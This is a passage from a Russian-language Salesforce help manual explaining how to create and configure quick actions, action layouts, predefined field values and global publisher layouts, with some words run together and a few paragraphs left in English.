организацией Acme.Объектные действия доступны только на макетах страниц
соответствующего объекта. Например, действие «Создать участника группы» может
быть добавлено только в глобальный макет публикатора.

Ниже перечислены области отображения элемента ленты для записи, создаваемой
посредством объектного действия создания.

• В ленте исходной записи, использованной для создания новой записи

• Вверху ленты новой записи

• В ленте Chatter пользователя, создавшего запись

• В ленте профиля пользователя, создавшего запись

• В ленте Chatter любого пользователя, отслеживающего исходную запись,
использованную для создания записи

• ВлентеChatterлюбогопользователя, отслеживающегоновуюзапись автоматически
посредством настраиваемых триггеров или правил автоматического отслеживания
для новых записей

Объектные действия регистрации вызова позволяют пользователям добавлять
примечания к вызовам, встречам или другим взаимодействиям, связанным с конкретной записью.

Объектныедействияобновленияпозволяютпользователямредактировать записи. Принеобходимостиопределитеполя,
доступные для обновления.

Объектные настраиваемые действия — это страницы Visualforce или приложения холста, позволяющие пользователям
управлятьзаписямиилисоздаватьзаписи, связанныесзаписьюобъекта.СтраницаVisualforceдляобъектногонастраиваемого
действия должна содержать стандартный контроллер для соответствующего объекта. Например, чтобы создать
настраиваемое действие, позволяющее пользователям импортировать профиль контакта из сети Twitter и добавлять
данные сведения в запись контакта, воспользуйтесь стандартным контроллером контакта.

Действия отправки эл. почты, доступные только для обращений, предоставляют пользователям доступ к упрощенной
версии действия «Эл. почта» ленты обращений в приложении Salesforce1.
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Поддерживаемые объекты

При создании объектного действия целевой объект может быть выбран только из событий, задач или любых объектов,
связанныхсобъектомхостапосредствомвзаимосвязи «Основная—подробная» или «Поиск». Нижеперечисленыобъекты,
поддерживающие создание объектных действий.

• Организация

• Кампания

• Обращение

• Контакт

• Настраиваемые объекты

• Группа

• Интерес

• Возможность

СМ. ТАКЖЕ:

Глобальные действия

Действия при включенной и выключенной поддержке Chatter

Действия

Создание объектных быстрых действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Объектные действия позволяют пользователям создавать записи, автоматически
связываемые с другими записями, обновлять отдельные записи, а также управлять
записями одним из доступных способов.

1. Откройтестраницу «Кнопки, ссылкиидействия» посредствомпараметровуправления
объекта, для которого нужно создать действие.

2. Нажмите кнопку «Создать действие».

3. Выберите нужный тип действия.

4. Настройте действие.

• При выборе типа действия «Создать запись» выберите нужный тип объекта.

– Если объект использует несколько типов записей, выберите тип, который
должен быть назначен записям, созданным посредством данного действия.

– Если объект использует несколько взаимосвязей с целевым объектом,
выберите поле, которое должно быть заполнено при создании записи. Если
между объектами существует взаимосвязь типа «Основная — подробная»,
поле для заполнения нельзя будет выбрать. По умолчанию заполняется поле
«Взаимосвязь»; данный параметр не может быть изменен.

• Привыборетипадействия «НастраиваемоедействиеVisualforce» выберитенужную
страницу Visualforce и укажите высоту окна действия. Ширина окна не меняется.

5. Введите метку действия. Эта метка отображается в меню публикатора.

Совет: При создании действия «Создать запись» или «Записать вызов в журнал» выберите параметр списка
«Тип стандартной метки» для создания метки системой Salesforce. Система Salesforce добавляет создаваемый
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тип объекта или тип записи в метки данного списка, содержащие слова «Запись» и «Тип записи». Например,
привыборе стандартнойметки «Создать запись» для действия создания контакта система создастметку «Создать
контакт».

6. При необходимости измените имя действия.
Данное имя используется интерфейсом API и управляемыми пакетами. Имя должно начинаться с буквы и содержать
толькобуквы, цифрыисимволыподчеркивания; имянеможет заканчиваться символомподчеркиванияилисодержать
два последовательных символа подчеркивания. Рекомендуем редактировать данное поле только при наличии опыта
использования API.

7. Введите описание действия.
Описание отображается на странице сведений о действии и в списке на странице «Кнопки, ссылки и действия».
Описание недоступно пользователям.При создании нескольких действий для одного объекта рекомендуем
использовать подробное описание (например, «Создание контакта организации посредством типа записи "Новый
клиент"»).

8. Для действий «Создать запись» и «Записать вызов в журнал» укажите, требуется ли создавать элемент ленты по
завершении действия.

9. Для действий «Создать запись», «Обновить запись» и «Записать вызов в журнал» можно добавить настраиваемые
сообщения об успешном выполнении.

10. Чтобы выбрать другой значок для действия, щелкните «Изменить значок».

Размер настраиваемых изображений, используемых для значков действий, не должен превышать 1 Мб.

11. Нажмите кнопку «Сохранить».

После создания действия настройте соответствующиймакет, добавьте предопределенные значения и добавьте действие
в макеты страниц.

Прим.: Удаление действия инициирует его удаление из всех назначенных макетов.

СМ. ТАКЖЕ:

Создание глобальных быстрых действий

Страницы Visualforce как объектные настраиваемые действия

Настраиваемые сообщения об успешном завершении операции для быстрых действий

Рекомендации по использованию действий
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Редактор макетов действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Рекомендуем использовать редактор макетов действий для добавления, удаления или
изменения порядка отображения полей в действии.

Присозданиидействия система Salesforce заполняетмакет стандартнымнаборомполей.
Рекомендуем использовать редактор макетов действий для добавления, удаления или
изменения порядка отображения полей в макете действия.

Например, действие «Сообщение» может содержать только одно большое текстовое
поле, предназначенноедлявводаданных. Тогдакакобъектноедействиесозданиядолжно
содержать множество полей. В противном случае, система Salesforce не сможет создать
запись.

Верхняя часть редактора содержит палитру, под которой отображается макет действия.
Палитра содержит поля целевого объекта действия, которые могут быть добавлены в
макет действия, кроме указанных ниже неподдерживаемых типов полей.

• Поля типа записи

• Поля, доступные только для чтения (например, поля сводного резюмирования, формулы и автонумерации)

• Системные поля, доступные только для чтения (например, «Создано» или «Последнее изменение сделано»)

Неактивные поля
Поля, добавленные в макет действия, продолжают отображаться на палитре, но неактивны. При выборе неактивного
поля на палитре система Salesforce выделяет данное поле в макете действия.

Преобразование типа поля
Система Salesforce удаляет поле, тип которого преобразуется из поддерживаемого в неподдерживаемый, из макета
действия. При обратном преобразовании типа поля в поддерживаемый без изменения макета действия система
Salesforce автоматически добавляет данное поле в макет. Обратное преобразование типа поля в поддерживаемый
после изменения макета требует ручного добавления поля в макет.

Макеты, используемые для действий регистрации вызова
Действие регистрации вызова использует активный макет страницы задач, кроме указанных ниже случаев.

• Предположим, чтоорганизацияиспользуетнастраиваемоедействиерегистрациивызовадляобъекта. Настраиваемое
действие использует заданный макет настраиваемого действия.

• Теперь предположим, что организация использует настраиваемое глобальное действие регистрации вызова.
Данноедействиеиспользует заданныйнастраиваемыймакетприотсутствиинастраиваемогодействиярегистрации
вызова для объекта. (Настраиваемое действие для объекта переопределяет настраиваемое глобальное действие.)

Чтобы разрешить пользователям приложения Salesforce1 доступ к упрощеннойформе создания задачи, включите
даннуюформу на странице «Параметры действий» и убедитесь, что используемый макет содержит поле темы.

Аудит макета
Система Salesforce отслеживает изменение макета действия в контрольном журнале настройки.

Поля типа «Область обогащенного текста» могут быть добавлены только в одностолбцовые макеты или как поля,
охватывающие оба столбца двухстолбцовых макетов. Поле типа «Область обогащенного текста», добавленное только в
один столбец двухстолбцового макета, отображается в виде области обычного текста (словно недостаточно места для
отображения полного редактора обогащенного текста).

СМ. ТАКЖЕ:

Настройка действий посредством редактора макетов действий

Действия
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Настройка действий посредством редактора макетов действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Присозданиидействия система Salesforce заполняетмакет стандартнымнаборомполей.
Рекомендуем использовать редактор макетов действий для добавления, удаления или
изменения порядка отображения полей в макете действия.

Редактор макетов действий открывается автоматически при создании действия. Чтобы
просмотреть и отредактировать текущие глобальные действия в меню «Настройка»,
введите «Действия» вполе «Быстрый поиск», затемвыберите «Глобальныедействия»,
щелкните «Макет»напротивназваниядействия. Чтобыпросмотретьиотредактировать
макеты для объектных действий, с помощью параметров управления для объекта
перейдите к «Кнопки, ссылки и действия».

При первом просмотре макета созданного действия некоторые поля отображаются
заполненными: стандартные поля целевого объекта, стандартные обязательные поля и
любые настраиваемые универсальные обязательные поля. Стандартные действия
(доступно только организациям, созданным после выпуска Winter'14) используют
предопределенные наборы полей.

• Чтобы добавить поле в макет действия, выберите нужное поле и перетащите его из
палитры в макет.

Совет: Количество полей, доступных для добавления в макет действия, не
ограничено. Тем не менее, рекомендуем использовать не более 8 полей.
Добавлениеболее 20 полейможетснизитьэффективностьработыпользователя.
Чтобы сократить количество полей в макете, рекомендуем создать
предопределенные значения для обязательных полей, а затем удалить данные
поля из макета. Предопределенные значения поля могут быть заданы на
странице сведений о действии.

Мобильные интеллектуальные действия заполняются всеми обязательными
полями соответствующего объекта, независимо от их количества. Например,
мобильное интеллектуальное действие «Создать обращение» содержит все
обязательные поля обращений. Поля мобильных интеллектуальных действий
недоступны для редактирования. Отображаемые поля изменяются только при
изменении набора обязательных полей объекта.

• Чтобы удалить поле из макета действия, перетащите нужное поле в правую часть палитры. При необходимости
наведите указатель мыши на нужное поле и щелкните значок .

Преждечемудалитьобязательноеполеизмакета действия, убедитесь, чтополе содержитпредопределенное значение.
В противном случае, создание записей будет недоступно.

• Чтобыоткрытьмакет действиядляпредварительногопросмотра в версии Enterprise Edition, Unlimited Edition, Performance
Edition или Developer Edition, щелкните «Предварительный просмотр как».

• Чтобы присвоить полю действия статус обязательного или доступного только для чтения, дваждыщелкните нужное
поле в макете действия или щелкните значок . Свойства полей не могут быть изменены на палитре.

• Чтобы сохранить внесенные изменения и продолжить редактирование макета действия, щелкните «Быстрое
сохранение».
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• Чтобы сохранить внесенные изменения и закрыть макет действия, нажмите кнопку «Сохранить». Закрытие макета
действия без нажатия кнопки «Сохранить» инициирует удаление всех внесенных изменений.

СМ. ТАКЖЕ:

Редактор макетов действий

Поиск по параметрам управления объектами

Настраиваемые сообщения об успешном завершении операции для быстрых действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Для действий типов «Создать запись», «Обновить запись» и «Записать вызов в журнал»
возможно создание настраиваемых сообщений, которые отображают успешное
завершение действия.

В приложениях Salesforce1 и Lightning Experience, когда завершены действия по созданию, обновлениюи записи вызовов
в журнал, стандартное сообщение об успешном завершении операции отображается независимо от того, создало ли
действие элемент ленты. Если настраиваемое сообщение об успешном завершении операции добавлено в одно из этих
действий, вместо стандартного отображается такое настраиваемое сообщение.

ВприложенииSalesforce Classicнастраиваемыесообщенияобуспешномзавершенииоперацииведут себянемногоиначе.
При выборе «Создание элемента ленты» для действий «Создать запись» или «Записать вызов в журнал» сообщения об
успешном завершении операции в приложении Salesforce Classic не отображаются. Созданный элемент ленты является
подтверждением успешного завершения действия.

Прим.: При выборе «Всех связанных объектов» под функцией отслеживания лент для отдельного объекта, при
котором быстрое действие создает связанные объекты, элемент ленты создается всегда, независимо от выбора
«Создания элемента ленты».

СМ. ТАКЖЕ:

Создание объектных быстрых действий

Создание глобальных быстрых действий
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Настройка действий посредством расширенного редактора макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Для настройки макетов
действийимакетов страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Используйте редактор макета страницы, для того чтобы выполнить пользовательскую
настройку действий, которые будут отображаться в Salesforce и Salesforce1.

Совет: Дополнительнуюинформациюобуправлениидействиямидля глобальных
страниц (например, начальная страница, вкладка Chatter и группы Chatter) см. в
разделе «Глобальные макеты публикатора».

Вразделенастроек управлениядля объекта, управлениедействиямикоторого выхотите
выполнить, перейдите в раздел Макеты страниц.

При необходимости добавьте действия в два раздела макета страницы.

Быстрые действия в средстве публикации Salesforce Classic
Данныйраздел может содержать только действия из категории «Быстрые действия».
Действия данного раздела отображаются в публикаторе Chatter полной версии
системы Salesforce.

Действия Salesforce1 и Lightning Experience
Данныйразделможет содержать толькодействияиз категории «Действия Salesforce1».
При использовании макетов страниц объектов категория «Действия Salesforce1»
содержит все доступные типы действий для объекта, включая быстрые действия,
продуктивные действия, стандартные и настраиваемые кнопки. Действия в этом
разделеотображаютсявпанелидействийименюдействийв Salesforce1ивразличных
областях Lightning Experience.

Совет: Чтобыпросмотретьметку, API-имяитипдействия, наведите указательмыши
на нужное действие в палитре.

• Чтобы переопределить стандартные значения действий для раздела действий,
настройка которогоне выполнялась, щелкните текстпереопределенияилинаведите
указатель мыши на нужный раздел и щелкните значок .

Если вы не выполнили пользовательскую настройку раздела Быстрые действия в
разделе средствапубликации Salesforce Classicдлямакета страницы, действия, которые
отображаются в публикаторе для этого объекта, будут сводиться к действиям, которые назначаются глобальному
макету для средства публикации. Переопределение инициирует назначение действиям стандартных действий
(«Сообщение», «Файл», «Ссылка», «Опрос», «Вопрос» и «Благодарность»), независимо от действий, назначенных
глобальному макету публикатора.

Если вы не выполнили пользовательскую настройку Salesforce1 и раздела «Действия» Lightning Experience для макета
страницы, действия для этого объекта будут по умолчанию соответствовать набору заранее заданных действий. Если
вынастроилидействия в разделеБыстрыедействия в разделе средствапубликации Salesforce Classicисохранилимакет,
разделдействийSalesforce1и Lightning Experience унаследуетдействияразделаQuick Actions вразделесредствапубликации
Salesforce Classic при использованиифункции переопределения.
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• Чтобы восстановить стандартные действия в любомразделе, наведите указательмышинанужныйраздел ищелкните
значок .

СМ. ТАКЖЕ:

Настройка действий при включенной поддержке Chatter

Действия в Lightning Experience

Мобильные интеллектуальные действия

Настройка макетов страниц с помощью расширенного редактора макетов страниц

Поиск по параметрам управления объектами

Настройка предопределенных значений для полей быстрых действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы настроить
предопределенные значения
поля, выполните указанные
ниже действия.
• «Настройка

приложения»

Предопределенныезначенияполяпозволяютнастраивать значениеполяприсоздании
действий. Предопределенныезначенияпозволяютснизить вероятностьиспользования
противоречивых данных и сократить время создания записей.

При настройке макетов действий рекомендуем использовать минимум полей.
Большинство пользователей, особенно пользователи мобильных устройств,
предпочитают избегать заполнения большого количества обязательных полей. Как
правило, пользователи хотят быстрее приступить к выполнению следующей задачи.
Благодарянастройкепредопределенныхзначенийдлябольшинстваполей, количество
полей в макетах действий может быть сокращено до минимума. Чем больше
предопределенных значений задается полям, тем больше полей может быть удалено из
макета и тем удобнее становится использование действия. Помните, что оптимизация
макета не должна влиять на доступность обязательной информации. Тем не менее
рекомендуется удалять обязательные поля из макета действия только после настройки
соответствующих предопределенных значений. В противном случае при применении
данного действия запись будет сохранена неправильно.

Поля записей объекта, созданных посредством данного действия, которые содержат
предопределенные значения, могут не добавляться в макет действия.Например, при
настройке действия, позволяющего пользователям создавать возможности, задайте
предопределенное значение «Поиск потенциальных клиентов» полю «Этап». Данный
этап будет автоматически назначаться всем новым возможностям, создаваемым
посредством данного действия. При необходимости удалите поле «Этап» из макета
действия ввиду автоматического назначения значения данному полю.

Совет: Предопределенные значения для полей действий отличаются от
стандартных значений, заданных полям записей. Поле, добавленное в действие,
может содержать набор предопределенных значений для действия и набор
стандартных значений.

Чтобы настроить предопределенные значения поля, выполните указанные ниже действия.

1. Щелкните имя нужного действия в списке «Кнопки, ссылки и действия» или «Глобальные действия».

2. Нажмите кнопку «Создать» в списке «Предопределенные значения поля» страницы сведений о действии.

3. Выберите нужное поле.

4. Введите нужное значение.

5. Нажмите кнопку «Сохранить».
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Совет: Прииспользованииобъектныхдействийпредопределенноезначениеможет содержать ссылкинаисходный
объект и его связанные объекты.

СМ. ТАКЖЕ:

Примечания к предопределенным значениям поля для быстрых действий

Примечания к предопределенным значениям поля для быстрых действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Настройка предопределенных значений поля для быстрых действий требуется при
удалении обязательного поля или поля «Всегда в макете» из макета действия.

• Предопределенные значения могут быть настроены для любого поля, доступного в
редакторе макетов действий. Ниже перечислены исключения.

– Поля типа «Область обогащенного текста»

– Раскрывающиеся списки со множественным выбором

– Поля, доступные только для чтения (например, поля автонумерации, формулы
и сводного резюмирования)

• Если поле действия содержит предопределенное значение и набор стандартных
значений, то действие использует предопределенное значение, но не стандартное
значение.

• Если макет действия содержит поле, дополненное предопределенным значением,
то данное значение отображается как стандартное значение поля.

• Еслиобязательное поле, дополненноепредопределенным значением, удаляется из макета действия, то при удалении
предопределенногозначенияполяобязательноеполедолжнобытьповторнодобавленовмакетдействия. Впротивном
случае, сохранение записи будет недоступно.

СМ. ТАКЖЕ:

Настройка предопределенных значений для полей быстрых действий
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Глобальные макеты публикатора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Для настройки макетов
действийимакетов страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Глобальныемакетыиздателяопределяютглобальныедействиявразличныхинтерфейсах
Salesforce. В Salesforce Classic этимакетыпозволяютнастроитьдействия виздателяхChatter
на глобальных страницах (например, на начальной странице) и на странице Chatter.
Lightning Experience использует эти макеты для заполнения меню Глобальные действия
действиями «Записатьвызоввжурнал» ибыстрымидействиями «Создатьзапись», которые
указывают на объекты «События», «Заметки» и «Задачи». А в Salesforce1 эти макеты
управляютдействиями, которыеотображаютсянапанелидействийнастраницах «Поток»
и «Люди». Глобальные макеты издателя могут включать только глобальные действия.

Вприложении Salesforce for Outlook глобальныемакетыпубликатора содержат действия,
отображаемые пользователям Group Edition, Contact Manager и Professional Edition при
выборе публикатора боковой панели Salesforce. Пользователи приложения
Salesforce for Outlook, использующие другие версии системы, могут настраивать
публикаторыбоковойпанелипосредствоммакетовпубликаторабоковойпанели Outlook.

Прим.: Группы Chatter, которые не содержат клиентов, отображают глобальный
макетпубликатора, выбранныйпоумолчанию, кроме случаев егопереопределения
посредством настраиваемого макета публикатора группы. Группы Chatter,
поддерживающие доступ клиентов, отображают только стандартные действия
публикатора (например, «Сообщение», «Файл», «Ссылка» и «Опрос»).

Созданные глобальные макеты публикатора могут быть назначены разным профилям,
благодарячемуможноопределятьдействия, доступныесоответствующимпользователям
по умолчанию на глобальных страницах.

Ниже перечислены этапы работы с глобальными макетами публикатора.

1. Создание глобальных макетов публикатора
Global publisher layouts determine the global actions that appear in the various Salesforce
interfaces. In Salesforce Classic, these layouts customize the actions in Chatter publishers on
global pages (like the Home page) and on the Chatter page. Lightning Experience uses these
layouts to populate the Global Actions menu with Log A Call actions and Create a Record quick actions that point to the Events,
Notes, and Tasks objects. And in Salesforce1, these layouts drive the actions that appear in the action bar on the Feed and People
pages. Global publisher layouts can include global actions only.

2. Добавление действий для глобальных макетов публикатора
Действия, которые вы добавляете в глобальные макеты публикатора, появляются на таких страницах, как главная и
Chatter, а также на панели действий и в меню действий на страницах «Лента» и «Люди» приложения Salesforce1.

3. Назначение глобальных макетов публикатора профилям пользователя

СМ. ТАКЖЕ:

Создание глобальных быстрых действий
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Создание глобальных макетов публикатора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Database.com Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Для настройки макетов
действийимакетов страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Global publisher layouts determine the global actions that appear in the various Salesforce interfaces.
In Salesforce Classic, these layouts customize the actions in Chatter publishers on global pages (like
the Home page) and on the Chatter page. Lightning Experience uses these layouts to populate the
Global Actions menu with Log A Call actions and Create a Record quick actions that point to the
Events, Notes, and Tasks objects. And in Salesforce1, these layouts drive the actions that appear in
the action bar on the Feed and People pages. Global publisher layouts can include global actions
only.

1. Введитестроку «Макеты публикатора» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Макеты публикатора».

2. Чтобы создать глобальный макет публикатора, нажмите кнопку «Создать».

3. Чтобы клонировать макет публикатора, выберите нужныймакет в раскрывающемся
списке «Текущий глобальный макет публикатора».

4. Введите имя нового глобального макета публикатора.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Назначение глобальных макетов публикатора профилям пользователя

Глобальные макеты публикатора
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Добавление действий для глобальных макетов публикатора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Для настройки макетов
действийимакетов страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Действия, которыевыдобавляете в глобальныемакетыпубликатора, появляютсяна таких
страницах, как главная и Chatter, а также на панели действий и в меню действий на
страницах «Лента» и «Люди» приложения Salesforce1.

Расположите действия так, чтобы часто используемые действия выводились первыми в
каждом списке. Все остальные действия отображаются в раскрывающемся меню
публикатора.

Просмотреть обзор: настройка глобальных макетов публикатора

При необходимости добавьте действия в два раздела макета страницы.

Быстрые действия в средстве публикации Salesforce Classic
Данныйраздел может содержать только действия из категории «Быстрые действия».
Действия данного раздела отображаются в публикаторе Chatter полной версии
системы Salesforce.

Действия Salesforce1 и Lightning Experience
Данныйразделможет содержать толькодействияиз категории «Действия Salesforce1».
При использовании макетов страниц объектов категория «Действия Salesforce1»
содержит все доступные типы действий для объекта, включая быстрые действия,
продуктивные действия, стандартные и настраиваемые кнопки. Действия в этом
разделеотображаютсявпанелидействийименюдействийв Salesforce1ивразличных
областях Lightning Experience.

1. Введитестроку «Макеты публикатора» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Макеты публикатора».

2. Чтобыдобавитьилиудалитьдействия, перетащитенужныедействиянапалитруили
наоборот. Чтобыизменитьпорядокотображениядействий, выберитенужноедействие
и перетащите его в другую область.

В разделе «Быстрые действия в публикаторе» Salesforce Classic первые три действия
слева отображаются в публикаторе Chatter. Все другие действия отображаются в раскрывающемся меню «Больше».

3. По завершении нажмите кнопку «Сохранить». Чтобы сохранить внесенные изменения и продолжить работу над
макетом, нажмите кнопку «Быстрое сохранение».

Закрытие макета без сохранения инициирует удаление всех внесенных изменений.

Пример: Добавим действие по созданию организации в публикатор, чтобы пользователи могли создавать
организацию непосредственно из публикатора. Просто перетащите действие по созданию организации в разделе
«Быстрые действия в публикаторе» и сохраните свои изменения.
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Перейдите на вкладку «Chatter». Теперь действие по созданию организации отображается в публикаторе.

СМ. ТАКЖЕ:

Назначение глобальных макетов публикатора профилям пользователя

Настройка пользователей для создания записей прямо на боковой панели Salesforce

Мобильные интеллектуальные действия
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Назначение глобальных макетов публикатора профилям пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Для настройки макетов
действийимакетов страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Созданный глобальный макет публикатора может быть назначен разным профилям.

Например, публикатор Chatter или приложение Salesforce1 может содержать разные
действиядляпрофилей «Пользователь Marketing» и «Стандартныйпользователь». Чтобы
настроить действия для каждого профиля, создайте несколько глобальных макетов
публикатора и назначьте их разным профилям.

1. Введитестроку «Макеты публикатора» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Макеты публикатора».

2. Нажмите кнопку «Назначение макета публикатора».

3. Щелкните «Редактировать назначение».

4. Чтобывыбратьпрофильпользователя, щелкнителюбуюобласть соответствующей
строки таблицы.

Чтобы назначить глобальный макет публикатора нескольким профилям,
воспользуйтесь комбинацией SHIFT+щелчок для выбора смежных профилей или
CTRL+щелчок для выбора несмежных профилей.

5. Выберитенужныйглобальныймакетпубликатора враскрывающемся списке «Макет
публикатора для использования».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Добавление действий для глобальных макетов публикатора

Глобальные макеты публикатора

Действия по умолчанию

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Действия по умолчанию - это предопределенные действия, поддерживаемые системой
Salesforce, чтобыпользователисмоглиначатьиспользоватьдействияввашейорганизации.
Добавьте действия по умолчанию в макеты публикатора, чтобы сделать их доступными
пользователям на всем сайте Salesforce и на панели действий в Salesforce1.

Каждое стандартное действие создания содержит предопределенный набор полей.
Чтобы удалить действия или изменить порядок их отображения, воспользуйтесь
редактором макетов страниц или глобальным макетом публикатора.

Данная таблица содержит доступные действия по умолчанию. Курсивом выделяются
стандартные действия Chatter.

Прим.: При использовании организаций, созданных после выпуска Winter'14,
система Salesforce добавляет действия по умолчанию в глобальный макет
публикатора, а такжевмакетпубликаторадляорганизаций, обращений, контактов,
интересовивозможностей. Прииспользованииорганизаций, созданныхдовыпуска
Winter'14, действияпоумолчаниюдоступнынапалитрередакторамакетов страниц,
но не подлежат автоматическому добавлению в макеты публикатора.
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Действия по умолчаниюСтраница макета

Глобальный макет (также применяется к настраиваемым
объектам)

• Сообщение

• Файл

• Создать событие

• Создать задачу

• Создать контакт

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать возможность

• Создать обращение

• Создать интерес

• Благодарность

• Ссылка

• Опрос

• Вопрос

Организация • Сообщение

• Файл

• Создать событие

• Создать задачу

• Создать контакт

• Создать обращение

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать примечание

• Создать возможность

• Благодарность

• Ссылка

• Опрос

• Вопрос

Обращение • Сообщение

• Файл

• Создать дочернее обращение

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать задачу

• Создать событие

• Благодарность

• Ссылка
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Действия по умолчаниюСтраница макета

• Опрос

• Вопрос

Контакт, интерес и возможность • Сообщение

• Файл

• Создать задачу

• Зарегистрировать вызов (зарегистрированные вызовы
сохраняются в качестве выполненных задач)

• Создать обращение

• Создать примечание

• Создать событие

• Благодарность

• Ссылка

• Опрос

• Вопрос

Прим.: Использование типов записей в организации может влиять на доступность глобальных стандартных
действий для пользователей. Дополнительную информацию см. в разделе «Быстрые действия и типы записей» на
странице 5382.

СМ. ТАКЖЕ:

Действия

Поля стандартных действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Каждоестандартноедействиесодержитпредопределенныйнаборполей, позволяющий
предоставлять пользователям доступ к действиям без дополнительных настроек.

Данные поля используются во всех действиях по умолчанию и отображаются в макете
действия в приведенном порядке.

ПоляДействие

Зарегистрировать вызов • Тема (стандартное значение: «Вызов»)

• Комментарий (описание)

• Имя

• Связано с

Создать обращение/Создать дочернее
обращение

• Имя контакта

• Статус

• Тема
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ПоляДействие

• Описание

Создать контакт • Имя

• Эл. почта

• Тел.

• Имя организации

• Заголовок

Создать событие • Тема

• Начало

• Окончание

• Событие на весь день

• Имя

• Связано с

• Назначено

• Расположение

Создать интерес • Имя

• Эл. почта

• Тел.

• Компания

• Заголовок

Создать примечание • Заголовок

• Общедоступное (флажок)

• Текст

Создать возможность • Имя возможности

• Организация

• Дата закрытия (стандартное значение: через 30 дней)

• Этап

• Стоимость

Создать задачу • Тема

• Крайний срок

• Имя

• Связано с

• Назначено

• Статус
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Чтобы изменить поля, отображающиеся в каждом макете действия, воспользуйтесь редактором макетов действий.

СМ. ТАКЖЕ:

Действия по умолчанию

Действия

Мобильные интеллектуальные действия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

Мобильныеинтеллектуальныедействия — этобыстрыедействия, доступныенастраницах
организаций, обращений, контактов, интересов и возможностей, а также в глобальном
макетепубликатораприиспользованииприложенияSalesforce1. Ихможноиспользовать
для простой настройки быстрых действий пользователям мобильных устройств.

Прим.: Независимо от макетов страниц, дополненных мобильными
интеллектуальными действиями, интеллектуальные действия не появляются в
полной версии сайта Salesforce. Они отображаются пользователям только в
